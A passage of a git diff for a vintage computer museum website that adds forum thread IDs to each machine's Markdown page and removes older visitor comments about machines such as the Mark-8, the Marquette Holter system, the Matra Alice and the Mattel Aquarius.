dwarfs my Xbox!) The Controllers are well made and responsive (Although I don''t care for the hardwired nature of them, but it was a common practice), and quite a few games on there are actually pretty fun, I particularly enjoy Kc''s Krazy chase, and Dynasty, as well as UFO! plus, boxed games are some of the easiest and cheapest to find for any vintage console, even The Atari 2600 isn''t this easy of cheap when it comes to finding CIB games (And it''s loose games are the cheapest of any game console!)! - - All in all, its a fun underdog console both from a collecting and gaming stand point. - - author: Bruce (Canada) - date: Sunday 5th January 2014 - text: |- - I was about 12 or so when these first made an appearance. The cool kids got an Atari VCS, the kids (or parents) who were into sports got an Intellivision, and the nerdy kids whose parents wanted them to learn about computers got the O2. - - At the time the O2 was a distant 3rd-place, but it does have a retro charm to it. $$65279$ - - author: Todor DeOliveira (Brasilia, Brazil) - date: Wednesday 17th August 2005 - text: |- - In Brazil Odyssey2 was released as Philips Odyssey (with no mention to the "2") in the early 80´s.\ - It was the major Atari VCS2600 competitor, but although it looked somewhat more advanced, I and the majority of the kids of that time preferred the old VCS just because it offered a zillion more game titles than Odyssey. - - author: Elisha (male) (USA) - date: Monday 9th June 2003 - text: My 2 older sisters and my parents used to have one before i was born but it messed up when it got struck by lightning........ I would like to find another one... - - author: Elisha (male) (USA) - date: Monday 9th June 2003 - text: the games look a little like the atari2600 games but with a little better graphics.......its pretty cool !!! - - author: Kris (USA) - date: Wednesday 30th October 2002 - text: WOW that was my first com.... well play-something-station !!! I was 7-8 years old ! related: - /museum/brandt-electronique-ordinateur-de-jeu-jo7400-jopac - /museum/continental-edison-saba-ordinateur-video-jeu-jo-1450-jopac diff --git a/content/museum/mark-8-minicomputer.md b/content/museum/mark-8-minicomputer.md index 8de4ea1e..1509364d 100644 --- a/content/museum/mark-8-minicomputer.md +++ b/content/museum/mark-8-minicomputer.md @@ -54,6 +54,7 @@ params: value: About $300 tabs: - photos + forum_thread: 724 photos: - title: MANUALS & SHEMAS subtitle: '' @@ -71,18 +72,6 @@ params: subtitle: '' text: front cover of the July 1974 issue of Radio-Electronics magazine where the Mark-8 computer appeared for the first time. image: /media/museum/photos/mark8_minicomp_magazine_1.jpg - comments: - - author: Achim Baqué - date: Sunday 12th September 2021 - text: Hi, I am a vintage computer collector. Please contact me (E-Mail via my website) if you have the Mark-8 to offer. - - author: Erik Jordan (USA) - date: Friday 28th September 2007 - text: |- - Mr. Titus later wrote a book on how to custom-build a computer based on the 8085A processor called the "8085A Cookbook". - - It is part of the Blacksburg Continuing Education Series and was published by Howard W. Sama & Co Inc., out of Indianapolis. Mine is 1st Ed, 3rd Printing, 1982. - - at 350 pages, it is an interesting little book...while not directly related to this computer, it is the brainchild of its creator, and I invite the editors to place this snippet wherever they deem appropriate. oc_id: 741 source: url: https://web.archive.org/web/20230529194732/http://www.old-computers.com/museum/computer.asp?c=741 diff --git a/content/museum/marquette-electronics-8000-holter-system.md b/content/museum/marquette-electronics-8000-holter-system.md index 33795986..23df24e5 100644 --- a/content/museum/marquette-electronics-8000-holter-system.md +++ b/content/museum/marquette-electronics-8000-holter-system.md @@ -52,61 +52,12 @@ params: value: about $35-55,000.00 tabs: - photos + forum_thread: 453 photos: - title: REAR OF THE BEAST subtitle: '' text: '' image: /media/museum/photos/marquette_electronics_workstation_rear.jpg - comments: - - author: John Eve (USA) - date: Thursday 21st April 2011 - text: |- - John Eve says:\ - I''ve been a Field Engineer with Marquette Electronics (now part of GE Medical) for the last 20 years. I installed and did many service calls on this system. - - This system was called the Marquette 8000 Holter System. It''s purpose was to analyze 24 hr tape recordings of a patients heart activity to determine any abnormalities. The main computer used a DEC 11/23 Processor, 1MB memory board, serial board (J-Board), SCSI HD Controller Card, an Array Processor Board, and a graphics controller board. The CRT was monochrome and not touchscreen. The printer was a 9 pin dot matrix type. The main boot hard drive was 80 MB and the storage drive was a 160 MB. - - It was a decent system, but a real pain to work on. It was not a real DOS system. It used what was known as DEC-anese and was single purpose only. - - author: Randy Gumm (USA) - date: Thursday 21st April 2011 - text: Hi Kent, John, Randy... Yes, this really does bring back memories. If I recall correctly, we sometimes built about 25 to 30 of these systems per month, but probably averaged closer to 20. My department also built the Holter recorders, and I am thinking we produced about 100 per month of those. - - author: Randy Bardwell (US) - date: Thursday 21st April 2011 - text: Hey Kent, John...wow, this brings back memories!...Yes, was actually a DEC 11/23 running RSX-11...X-Y vector display vs. raster scan CRT...I still remember some RSX-11...ACT/ALL, etc. Clinically historicaly as it was the worlds first computer restrospective Holter scanner. Prior to that a clinician would have to sit in front of a screen and watch 24 hrs of ECG data buzz on a screen and halt on any aberrant beats to be recorded. This system. would play in and digitize the analog recorded ECG from the cassette reader (could also purchase a TEAC reel-reel as an option) recorded at 1 3/4 ips, "digest" the ECG and parse out ventricular vs normal vs SVE aberrant morphologies. This was the predecessor to the Laser SXP, another DEC 11/23 based Holter system. The new Holter recorders such as Mortara Instrument Inc. weigh less than an ounce and are the size of your thumb - scan on any PC - no need to look at the Run light anymore for activity! - - author: GL Box (US) - date: Thursday 21st April 2011 - text: |- - I also worked for MEI (Marquette Medical) over 15 years ago.(pre -G.E.) The other comments are correct. It is a tape based Holter Analyzer system. It was(is) used in a hospital, large clinic or large cardiology office. - - The way the system functioned: a cardiac patient would wear a Holter cassette recorder on his/her body for 24/48 hours and the tape would record all the patients heart beats. After 24/48 hours the tape was removed from the recording device and played back into the system. The Holter system analyzed the patient''s beat to beat data (for heart abnormalities) and constructed reports for a technician or doctor to review. - - Marquette dominated the cardiology (Stress,EKG $ Holter) business in the US during the 1980s and this unit probably sold new for around $35-55,000.00. I have seen US customers as of July 2003 still using this unit. ( South Texas ) - - author: Wolfram Jarisch (U.S.A.) - date: Monday 30th March 2020 - text: |- - The system was developed at the Biomedical Engineering Group at MIT using a database of 50 annotated Holter tape recordings. The data base consisted of the 100-series (basic EKG structures) and the 200-series (complex arrhythmia and beat morphology) classification challenges. The 30 minute recordings were annotated beat-by-beat by the consensus of five cardiologists. The development of the data base was lead by Roger Mark, M.D., Ph.D.\ - The hardware design and first software versions constituted Paul Schluter''s Ph.D. work at MIT. He later joined Marquette and led a team of developers for the commercial implementation of the system.\ - The first high performance software processing for this system, using cluster analysis and projection methods, was developed by Wolfram Jarisch, then at the BME group of MIT. He demonstrated its performance February 10, 1984.\ - Using tools from systems analysis the innovative approach could exceed human expert interpretation. Clarification and verification of its performance in terms of human vs. machine capabilities required careful EKG re-examination for final characterization. The development and software implementation of the new analysis approach (in C on a PDP-11) was accomplished in (only) three weeks. - - author: Wolfram Jarisch (U.S.A.) - date: Tuesday 21st August 2018 - text: Demonstrated prototype software February 10, 1984 at MIT. The initial version was written in the preceding 3 weeks. The software was based on new clustering and projection ideas. The software system, running on a DEC 11/23, outperformed consensus beat labels annotated by 5 cardiologists on the most difficult data sets, especially tape $207 of the MIT Holter Database tape. The software was subsequently adapted by Marquette Electronics for integration into hardware. - - author: duaneage (US) - date: Friday 8th September 2017 - text: |- - I supported this product for years and worked on scores of them both in the field and depot. The example shown is an early model, later ones were more compact and had laser printers. Also 760MB SCSI drives. The recorders used included SEER a solid state recorder. A few had green screens while most were orange.\ - Despite the archaic tech it was a remarkably accurate machine and served the industry faithfully. - - author: Kent McSwain (Earth) - date: Thursday 21st April 2011 - text: This system was used to scan and report on HOLTER RECORDINGS that record EKG data over 24 or 48 Hours to detect irregularities in heart Rhythms. The monitor is a special type of graphics display that was able to display the heart beats in high resolution monochrome using vector beam technology. The acquisition module that actually read the data from the Cassette Tape is shown in the picture behind the keyboard to the left. It ran the RSX11 Operating system. - - author: Douro (Earth) - date: Thursday 21st April 2011 - text: Marquette Electronics once manufactured an EKG machine based on the HP-150 Touchscreen II. It has a plasma touch display, and it can also be used as a regular DOS-compatible computer. - - author: Ben Pony (Earth) - date: Thursday 21st April 2011 - text: |- - I recall my mother coming back from the doctor wearing the recording device for this machine somewhere between the late 1980s to early 1990s. The recording device looked like a somewhat bulky walkman in a leather pouch hanging from a strap (to put over your shoulder) with wires connected to the patient.\ - Personally, I couldn''t imagine the discomfort of trying to sleep with the bulky recording device attached. oc_id: 458 source: url: https://web.archive.org/web/20221205010317/http://www.old-computers.com/museum/computer.asp?c=458 diff --git a/content/museum/match-sd-01c.md b/content/museum/match-sd-01c.md index dc3d6e02..d610546e 100644 --- a/content/museum/match-sd-01c.md +++ b/content/museum/match-sd-01c.md @@ -50,6 +50,7 @@ params: - photos - emulators - links + forum_thread: 674 photos: - title: INSIDE subtitle: '' @@ -68,10 +69,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: The Clothist (Seattle, Washington) - date: Friday 18th June 2004 - text: Heh, I want one of these. Best pong of them all. related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/matra-hachette-alice-90.md b/content/museum/matra-hachette-alice-90.md index 889e0a37..371f5168 100644 --- a/content/museum/matra-hachette-alice-90.md +++ b/content/museum/matra-hachette-alice-90.md @@ -70,6 +70,7 @@ params: - emulators - links - docs + forum_thread: 77 photos: - title: ALICE 90 subtitle: '' @@ -312,20 +313,6 @@ params:  compiled/archived by Gary (JaGF)\  type of document : PDF\  source : [The MC10 archive](http://themc10archive.com) - comments: - - author: Joe (USA) - date: Sunday 18th July 2010 - text: You can try your local ebay or the ebay of other countries but since it was a commercial failure that means not many were sold in the first place so finding one for sale is going to be extremely difficult and you''ll probably end up paying collectors (high) prices for them. Shipping will also be a consideration if buying from a long distance seller or outside one''s own country, and let''s also not forget the possibility of customs duty. - - author: SATTIN PHILIPPE (pomerols france) - date: Tuesday 12th October 2004 - text: |- - bonjour j ai un alice 90 ce petit ordinateur etait super dommage quil na pas beaucoup eu de logiciel\ - actuelement je recherche des jeux sur cet ordinateur - - author: gabriel (Holland) - date: Monday 20th January 2003 - text: |- - Is there anyway to get such a wonderful machine?\ - What would it cost these days? related: - /museum/matra-hachette-alice - /museum/sysdata-eletronica-microcolor diff --git a/content/museum/matra-hachette-alice.md b/content/museum/matra-hachette-alice.md index d4d86ea8..de841dd1 100644 --- a/content/museum/matra-hachette-alice.md +++ b/content/museum/matra-hachette-alice.md @@ -91,6 +91,7 @@ params: - emulators - links - docs + forum_thread: 76 photos: - title: FRONT VIEW subtitle: '' @@ -385,30 +386,6 @@ params:  compiled/archived by Gary (JaGF)\  type of document : PDF\  source : [The MC10 archive](http://themc10archive.com) - comments: - - author: Stéphane (France) - date: Wednesday 15th October 2014 - text: My first computer also ! I had it for my birthday (I was ten), and asked my parents the manuel one month before ... At the date, I knew it by heart ! small computer but great memories ^^ I remember this car game, I spent hours on it :-) - - author: Stéphane - date: Wednesday 15th October 2014 - text: My first computer also ! I had it for my birthday (I was ten), and asked my parents the manuel one month before ... At the date, I knew it by heart ! small computer but great memories ^^ I remember this car game, I spent hours on it :-) - - author: François Parmentier (Nancy, France) - date: Wednesday 27th October 2010 - text: |- - This was my first computer too!\ - It had a very good documentation (I read it all in one night), to learn programming.\ - I bought the 16KB extension. - - This gave me the taste for computer science (and thanks to that, I hold a computer science PhD.) - - author: Mirko Sala (Bangkok, Thailand) - date: Tuesday 21st June 2005 - text: This was my first computer. The user manual was great, and allowed me to get starte programming where most of my friends would just buy ready made code. If if was not for this box, today I would not be an IT engineer ;) - - author: James Tamer (California USA) - date: Thursday 18th November 2004 - text: The Alice 32 isn't much like the 4K Alice, because of its use of a completely different video chip. Its description should be either separated completely, or put on the Alice 90's page. - - author: TheClue (Salerno, italy) - date: Thursday 27th June 2002 - text: I can't believe! An user manual illustrated by Moebius!!!!!!! But it...it...it...IT IS GREAT! related: - /museum/matra-hachette-alice-90 - /museum/sysdata-eletronica-microcolor diff --git a/content/museum/matra-max-20.md b/content/museum/matra-max-20.md index 601ce570..a806b315 100644 --- a/content/museum/matra-max-20.md +++ b/content/museum/matra-max-20.md @@ -64,27 +64,7 @@ params: value: Printers, disk-drives, V24 communication card, high resolution card, modem - label: PRICE value: Unknown - comments: - - author: Jean Francois Girard (Canada) - date: Saturday 5th November 2016 - text: I remember using this machine under DOS 2.11 and programming in GW-BASIC too ... Grade IV and V @ St-Maxime, Québec in the end of the 90s'' - what a blast from the past! I even played a joke upon my teacher by hiding one of these beasts in my locker loll! - - author: D (Montreal, QC, Canada) - date: Tuesday 27th August 2013 - text: |- - Can''t beleive I learned my first programming language on this machine when I was 10. - - BASIC! - - author: Hien Le (Houston, Texas, USA) - date: Tuesday 8th August 2006 - text: I remember using this model in high school in Quebec (the year was 1989 I think) though it was not all popular. I had to edit an essay I started typing on my IBM PC at home but the school's computer lab only had Apple II's. Luckily, I remember seeing a few abandoned Max's in a nearly abandoned classroom so I asked for permission to use one. It booted my DOS 5.25" floppy diskette and ran my word processor with no problem and I was able to complete my essay. - - author: Jacques Danière (FRANCE) - date: Friday 22nd July 2005 - text: |- - About the M of MAX :\ - \- from one part, Max is a very friendly name like Bob\ - \- on the other side, Matra-AXel (the original case design was the one of the Ax 20. A micro-computer designed (electronic and the case) by G Cottin who had sold his first company named Alcyane to MATRA. - - About the main customer : this micro had been designed on specifactions of the Québec and French Education. But only the Québec bought this product. The French education prefered work on its project "informatique pour tous" with the Léanord "nanoréseau". + forum_thread: 935 oc_id: 959 source: url: https://web.archive.org/web/20221205023127/http://www.old-computers.com/museum/computer.asp?c=959 diff --git a/content/museum/matra-max-90.md b/content/museum/matra-max-90.md index ac2ea710..71e2abe8 100644 --- a/content/museum/matra-max-90.md +++ b/content/museum/matra-max-90.md @@ -64,6 +64,7 @@ params: value: Between 4500 and 7600 according to versions tabs: - photos + forum_thread: 936 photos: - title: LARGE VIEW subtitle: '' diff --git a/content/museum/matsushita-national-jr-100.md b/content/museum/matsushita-national-jr-100.md index 351d670a..2896f9f8 100644 --- a/content/museum/matsushita-national-jr-100.md +++ b/content/museum/matsushita-national-jr-100.md @@ -69,6 +69,7 @@ params: - emulators - docs - videos + forum_thread: 326 photos: - title: LARGE VIEW subtitle: '' @@ -164,19 +165,6 @@ params: - title: Super Deflection game url: https://www.youtube.com/watch?v=IPld1yaNbSs text: 'Length: 1 min 23 s' - comments: - - author: RONO (HK) - date: Tuesday 2nd March 2021 - text: I had it when I studied at Sec. 2. So good memories! - - author: Jesper - date: Friday 30th September 2016 - text: Looks exactly like the Lambda 8300. - - author: Alejandro (Argentina) - date: Wednesday 7th January 2015 - text: I have one!! it was my first computer, it was BASIC based, I learned how to program with this baby even some sort of machine code (via USR function). I still have it, was working when stored. Great memories!! - - author: Murray Moffatt (Auckland, New Zealand) - date: Thursday 12th August 2010 - text: There is a JR-100 emulator available, appears to be Japanese only. See http://www.asamomiji.jp/kemusiro/index.php?JR-100$A5$A8$A5$DF$A5$E5$A5$EC$A1$BC$A5$BF (use Google Translate to view in English) oc_id: 320 source: url: https://web.archive.org/web/20230608213858/http://www.old-computers.com/museum/computer.asp?c=320 diff --git a/content/museum/matsushita-national-jr-200.md b/content/museum/matsushita-national-jr-200.md index f8d650f7..8d49c7f4 100644 --- a/content/museum/matsushita-national-jr-200.md +++ b/content/museum/matsushita-national-jr-200.md @@ -70,6 +70,7 @@ params: - software - emulators - links + forum_thread: 329 photos: - title: NATIONAL JR-200 subtitle: '' @@ -173,21 +174,6 @@ params: - title: Matsushita JR Museum url: http://dec.sakura.ne.jp/~hayashi/jr/index.html text: A japanese virtual museum dedicated to the JR computers ! - comments: - - author: maddev (Russia) - date: Saturday 12th May 2018 - text: 'According to the following advertisement the price of the main unit was ¥79,800: https://cdn-ak.f.st-hatena.com/images/fotolife/g/gust_notch/20110902/20110902224916_original.jpg' - - author: Neeko (japan) - date: Monday 24th July 2017 - text: |- - Column in Impress Akiba PC Hotline\ - http://akiba-pc.watch.impress.co.jp/docs/column/retrohard/1069058.html - - author: Marq - date: Friday 16th March 2012 - text: 'It''''s not really true that there weren''''t graphics available. It''''s pretty much on par with most other 8-bit computers of the time: the character set could be changed to create free-form images of full 256x192 resolution (with some limitations).' - - author: Michael (United States) - date: Sunday 22nd December 2002 - text: For the most in-depth information available, visit; http://home.kc.rr.com/vintagecomputers/index.html related: - /museum/panasonic-jr-200u oc_id: 324 diff --git a/content/museum/matsushita-national-jr-300.md b/content/museum/matsushita-national-jr-300.md index 9596007b..099b0f45 100644 --- a/content/museum/matsushita-national-jr-300.md +++ b/content/museum/matsushita-national-jr-300.md @@ -66,6 +66,7 @@ params: value: 159000 yens tabs: - links + forum_thread: 327 links: - title: JR Japanese Museum url: http://dec.sakura.ne.jp/~hayashi/jr/index.html diff --git a/content/museum/mattel-electronics-aquarius.md b/content/museum/mattel-electronics-aquarius.md index 4c8bbf57..5727565c 100644 --- a/content/museum/mattel-electronics-aquarius.md +++ b/content/museum/mattel-electronics-aquarius.md @@ -63,6 +63,7 @@ params: - hardware - emulators - links + forum_thread: 88 photos: - title: AQUARIUS subtitle: '' @@ -258,58 +259,6 @@ params: - title: Mattel Aquarius Yahoo Group url: http://groups.yahoo.com/group/mattelaquarius/ text: A place to discover, chat about, and just get general information on the Mattel Aquarius home computer. - comments: - - author: TylerE (USA) - date: Sunday 9th December 2012 - text: I got a boxed Aquarius Snafu game for .99c at a thrift store. It wasn''t sealed but it is CIB and the contents are brand new with a little wear on the box itself. I cant find anything for the price of this game in particular so if anyone knows I would appreciate it. - - author: Chef (USA) - date: Wednesday 24th October 2012 - text: |- - Here''s Virtual Aquarius - - http://www.zophar.net/aquarius/virtual-aquarius.html - - It''s awesome. Turn on the power...\*beep\*. "BASIC" "Press Return Key To Start". It''s all there, the sounds and everything. - - If you are playing AD$D, don''t forget to "jump back"! or simply run past the monsters if you don''t want to engage them. - - I used to play so much that the goal no longer was to kill the Dragon King, but to see how many times you can loop through all 99 levels...avoiding the Dragon King! After a while you were so powerful that a single shot from any weapon would kill him, but it was never quite enough power was it? Inventories like arrow count weren''t displayed but counted out on the speaker for you. A low rapid tapping sound was played after hitting the e.g. "arrow count" key. After a few loops through the entire maze it could last for minutes because you picked up so many arrows, you know because you need thousands of arrows to kill the Dragon King! (rolls eyes) - - Eventually the Dragon King would randomly be at the bottom of the ladder so you had to fight him. You never knew which level. $sad$ - - I never had the expansion pack so you could never save the game. I had to leave the power on...I made sure I did not bump the computer power switch or days of running through the mazes would be gone. (the same thing if you were programming, heaven forbid, tens-hundreds of lines of code...gone!) - - After killing the Dragon King the TV speaker would scream simple sounds at you... Woooooooooo! Woo Woo Woo Woo..! then repeat, displaying a message "You are the new Dragon King!" (if I remember correctly) - - LOL! - - The other games were great too. They even "Biorhythms" for the adults to see when they were most compatible or most connected. Bow chicka wow wow! - - author: Wayne Styles (UK) - date: Saturday 7th July 2012 - text: |- - Guess what ? My AQUARIUS still works ha ha.\ - It rarely comes out of the attic but when it does, I am happy to revisit my early teen fun of BURGER TIME, ADVANCED DUNGEONS AND DRAGONS and TRON DEADLY DISCS. All the cartridges work.. I also keyed in the running man programme in BASIC all those years ago. The AQUARIUS was simple, cheap and fun. And I do have some cassette games such as N-VADERS too, although I have not even attempted a cassette as I recall they took ages top load all those years ago. All my mates in the 80''s took the micky, they had SPECTRUM and COMMODORE 64''s. A vast array of software for those, but I have fond feellings for my AQUARIUS cartridges and love that they still work. I feel a RETRO night coming soon, ADVANCED DUNGEONS AND DRAGONS I can spend hours on. Wayne - - author: Chris (USA) - date: Saturday 5th March 2011 - text: I fondly remember many nights wasted in college playing Advanced Dungeons and Dragons on this system. - - author: Andy (UK) - date: Sunday 28th November 2010 - text: |- - Does anyone remember typing in the program which played "Once in royal David''s city?" - - It always erred while playing.... - - author: John Gabra (Earth) - date: Tuesday 24th October 2006 - text: There were a couple of programs that came with this computer. One of them was called the running man. After copying the program from the manual, which took me quite a long time as a kid, a man would run across the screen, whooptee! The disk drive was a tape deck. You could play the tapes in a normal tape player and it would sound like a fax machine. - - author: Shailendra (Melbourne, Australia) - date: Sunday 14th May 2006 - text: I LOVED this computer when I was a kid. It was the first video game I ever owned. Burgertime was ace! Brings back memories seeing this. You could program in it too, make colours and stuff, came with a list of programs you literally typed and ran. - - author: flask (the ground) - date: Tuesday 5th April 2005 - text: the classic 'vapourware' product. all these things that got announced and never delivered! - - author: Joe Dyer (USA) - date: Sunday 27th January 2002 - text: Does anybody Know the pinouts of the Mattell Aquarius Din Connection to the tape drive, or know of a source for the cable? related: - /museum/radofin-electronics-limited-aquarius-2 oc_id: 73 diff --git a/content/museum/mattel-electronics-intellivision.md b/content/museum/mattel-electronics-intellivision.md index c763c470..c8781cd5 100644 --- a/content/museum/mattel-electronics-intellivision.md +++ b/content/museum/mattel-electronics-intellivision.md @@ -16,6 +16,7 @@ params: - links - docs - videos + forum_thread: 1173 photos: - title: INTELLIVISION CONSOLE subtitle: '' diff --git a/content/museum/mattel-electronics-keyboard-component.md b/content/museum/mattel-electronics-keyboard-component.md index be49cc39..d8510f80 100644 --- a/content/museum/mattel-electronics-keyboard-component.md +++ b/content/museum/mattel-electronics-keyboard-component.md @@ -54,6 +54,7 @@ params: - emulators - links - docs + forum_thread: 1274 photos: - title: PROMOTIONAL PICTURE subtitle: '' @@ -219,13 +220,6 @@ params:  compiled/archived by www.intellivisionlives.com\  type of document : HTML\  source : [www.intellivisionlives.com](http://www.intellivisionlives.com) - comments: - - author: Zaius - date: Thursday 16th September 2021 - text: '@Christian - I remember this being advertised before then C64 existed so I would say no... :)' - - author: Christian Benvenuto (United States) - date: Tuesday 22nd September 2020 - text: From the photo, it literally looks like a Commodore 64. Wonder if that was what they were aiming for? related: - /museum/intv-corp-system-iii - /museum/mattel-electronics-intellivision diff --git a/content/museum/mbc-alcyane-a6e.md b/content/museum/mbc-alcyane-a6e.md index bf5ab51f..af27dd97 100644 --- a/content/museum/mbc-alcyane-a6e.md +++ b/content/museum/mbc-alcyane-a6e.md @@ -62,6 +62,7 @@ params: value: Built-in power supply unit - label: PRICE value: 5350 at the end of production + forum_thread: 75 oc_id: 59 source: url: https://web.archive.org/web/20230603204927/http://www.old-computers.com/museum/computer.asp?c=59 diff --git a/content/museum/mbc-alcyane.md b/content/museum/mbc-alcyane.md index 9624950c..45a4c261 100644 --- a/content/museum/mbc-alcyane.md +++ b/content/museum/mbc-alcyane.md @@ -62,6 +62,7 @@ params: tabs: - photos - adverts + forum_thread: 1195 photos: - title: ALCYANE subtitle: '' @@ -76,13 +77,6 @@ params: subtitle: '' text: '' image: /media/museum/pubs/mbc_alcyane_pub_1.jpg - comments: - - author: Achim Baque (Germany) - date: Saturday 19th March 2022 - text: Please contact me if you consider to sell the Alcyane or any early Micral. - - author: Georges Dick (France) - date: Friday 2nd January 2009 - text: 'About the "MBC Alcyane" : as lng as I can remember, it was the first computer I''''ve ever used. I was in high school, and this computer was connected to a TV set, a tape recorder and a keyboard. After we switched the power button, we had to play a tape containing a basic interpreter (about 10 minutes !) before we could actually use the computer.' oc_id: 1228 source: url: https://web.archive.org/web/20230129163551/http://www.old-computers.com/museum/computer.asp?c=1228 diff --git a/content/museum/mbo-tele-ball-ii.md b/content/museum/mbo-tele-ball-ii.md index 33e5304e..481460f7 100644 --- a/content/museum/mbo-tele-ball-ii.md +++ b/content/museum/mbo-tele-ball-ii.md @@ -48,6 +48,7 @@ params: - photos - emulators - links + forum_thread: 675 photos: - title: TELEBALL II subtitle: '' diff --git a/content/museum/mbo-tele-ball-iii.md b/content/museum/mbo-tele-ball-iii.md index ffe8c769..f3e45006 100644 --- a/content/museum/mbo-tele-ball-iii.md +++ b/content/museum/mbo-tele-ball-iii.md @@ -54,6 +54,7 @@ params: - photos - emulators - links + forum_thread: 1129 photos: - title: TELE-BALL III subtitle: '' diff --git a/content/museum/mbo-tele-ball-iv.md b/content/museum/mbo-tele-ball-iv.md index 4246cbd6..4d2dd0c6 100644 --- a/content/museum/mbo-tele-ball-iv.md +++ b/content/museum/mbo-tele-ball-iv.md @@ -52,6 +52,7 @@ params: value: Unknown tabs: - photos + forum_thread: 1125 photos: - title: TELE-BALL IV subtitle: '' diff --git a/content/museum/mbo-tele-ball-ix.md b/content/museum/mbo-tele-ball-ix.md index 03d470a3..b600d647 100644 --- a/content/museum/mbo-tele-ball-ix.md +++ b/content/museum/mbo-tele-ball-ix.md @@ -53,6 +53,7 @@ params: tabs: - software - links + forum_thread: 1132 screenshots: - title: TENNIS subtitle: '' @@ -78,10 +79,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Adrian Scheel (Germany) - date: Friday 8th October 2010 - text: This is by far the rarest tele-ball system. I only came across 3 speciments of which 2 were strangely found in Italy hence all other tele-ball systems were sold in Germany. If any one of you has a box for this system please contact me over my website :-) related: - /museum/binatone-colour-tv-game-mk-10-model-n-01-4842 - /museum/ingersoll-xk-410c diff --git a/content/museum/mbo-tele-ball-vii.md b/content/museum/mbo-tele-ball-vii.md index 8dc24a56..2171873b 100644 --- a/content/museum/mbo-tele-ball-vii.md +++ b/content/museum/mbo-tele-ball-vii.md @@ -9,6 +9,7 @@ params: company_name: MBO tabs: - photos + forum_thread: 676 photos: - title: INSIDE subtitle: '' diff --git a/content/museum/mbo-tele-ball-viii.md b/content/museum/mbo-tele-ball-viii.md index 5374de69..be9a46b6 100644 --- a/content/museum/mbo-tele-ball-viii.md +++ b/content/museum/mbo-tele-ball-viii.md @@ -44,10 +44,7 @@ params: value: Lightgun - label: PRICE value: Unknown - comments: - - author: José Augusto Rocha Filho - date: Tuesday 28th October 2008 - text: I''m confused. Is it a Pong or a Video-Game? + forum_thread: 1127 oc_id: 1157 source: url: https://web.archive.org/web/20230613001203/http://www.old-computers.com/museum/computer.asp?c=1157 diff --git a/content/museum/mbo-tele-ball.md b/content/museum/mbo-tele-ball.md index 635d3832..62ed8d98 100644 --- a/content/museum/mbo-tele-ball.md +++ b/content/museum/mbo-tele-ball.md @@ -11,6 +11,7 @@ params: - photos - emulators - links + forum_thread: 1126 photos: - title: MBO TELE-BALL subtitle: '' diff --git a/content/museum/mbo-teleball-cassetten-system.md b/content/museum/mbo-teleball-cassetten-system.md index 23674615..b8bc69f2 100644 --- a/content/museum/mbo-teleball-cassetten-system.md +++ b/content/museum/mbo-teleball-cassetten-system.md @@ -44,6 +44,7 @@ params: - photos - software - links + forum_thread: 731 photos: - title: TELEBALL-CASSETTEN-SYSTEM subtitle: '' @@ -110,16 +111,6 @@ params: - title: INTERNAL LINK url: http://www.old-computers.com/magazine/view.asp?r=2&a=4 text: Article comparing the different GI catridge based systems - comments: - - author: Wertzui - date: Friday 15th June 2012 - text: I found one not long ago, and it is in working condition! Yes, it has a game called Panzerschlacht, and it works with the analog joysticks well. - - author: Kim Vexborg (Germany) - date: Wednesday 2nd June 2004 - text: |- - I used to own one of these babies - in fact it was my first encounter with something which would display "graphic" games on a TV screen... The graphic was simple block graphic - just like the Commodore VIC20 or similar. - - I can remember that the cartridge which came with the system was a ball games - and one of the games "Gitterball" drove my dad mad! It was a games where you would wriggle the joystick up and down and keep the other player from getting the ball through your mesh - the noise was most annoying! related: - /museum/audiosonic-tele-sports-iv - /museum/bandai-tv-jack-5000 diff --git a/content/museum/mcm-computers-mcm-70-700.md b/content/museum/mcm-computers-mcm-70-700.md index 6cd5e6d7..2029370c 100644 --- a/content/museum/mcm-computers-mcm-70-700.md +++ b/content/museum/mcm-computers-mcm-70-700.md @@ -65,6 +65,7 @@ params: tabs: - photos - links + forum_thread: 350 photos: - title: AN EARLY PRODUCTION MODEL OF THE MCM/70, 1974 subtitle: '' @@ -87,16 +88,6 @@ params: - title: York University Computer Museum url: http://www.cse.yorku.ca/museum/collections/MCM/MCM.htm text: detailed list of their impressive MCM collection - comments: - - author: Achim Baqué - date: Sunday 12th September 2021 - text: Hi, I am a vintage computer collector. Please contact me (E-Mail via my website) if you have the MCM 70 to offer. - - author: Alvin Ginsburg (United States) - date: Friday 4th September 2015 - text: I bought one of these at IBM in order to get funding for the IBM 5100. The management didn''t believe you could actually put a computer on a disk, and lo and behold, without a raised floor. So, I bought the HP 9830, a Wang 2200 and an MCM/70. When Dave Slattery a vice president of development told me you couldn''t put a Basic compiler into less than 128k I wheeled one of these machines into his office. I got the funding, a story for another day about politics and bureaucracy. - - author: tOM Trottier (Ottawa, Canada) - date: Monday 23rd March 2015 - text: I programmed these in APL in the summer of 1974, mainly converting mainframe functions $ workspaces to the MCM/700 environment. I still have some stock certificates.... related: - /museum/mcm-computers-mcm-800 oc_id: 346 diff --git a/content/museum/mcm-computers-mcm-800.md b/content/museum/mcm-computers-mcm-800.md index 9274b431..4504aa37 100644 --- a/content/museum/mcm-computers-mcm-800.md +++ b/content/museum/mcm-computers-mcm-800.md @@ -65,6 +65,7 @@ params: tabs: - photos - links + forum_thread: 1262 photos: - title: MCM 800 subtitle: '' @@ -77,16 +78,6 @@ params: - title: York University Computer Museum url: http://www.cse.yorku.ca/museum/collections/MCM/MCM.htm text: detailed list of their impressive MCM collection - comments: - - author: Achim Baqué - date: Sunday 12th September 2021 - text: Hi, I am a vintage computer collector. Please contact me (E-Mail via my website) if you have the MCM 800 to offer. - - author: Josh Bensadon (Toronto, Canada) - date: Saturday 2nd June 2018 - text: I''ve just fixed one of these computers, Very nice system. It has 19x 2K ROM (38K). It is not exactly using an 8008, instead they built their own 8008 like processor using discrete logic. - - author: shae (new zealand) - date: Monday 2nd May 2011 - text: wow that is a old computer it is so old i fell old even looking at it hahahahah lol related: - /museum/mcm-computers-mcm-70-700 oc_id: 1297 diff --git a/content/museum/mecipt.md b/content/museum/mecipt.md index 654974b8..de9385c6 100644 --- a/content/museum/mecipt.md +++ b/content/museum/mecipt.md @@ -41,6 +41,7 @@ params: tabs: - photos - links + forum_thread: 1156 photos: - title: SYSTEM subtitle: '' diff --git a/content/museum/medusa-t-40.md b/content/museum/medusa-t-40.md index 139b3b5c..ebdd4bfd 100644 --- a/content/museum/medusa-t-40.md +++ 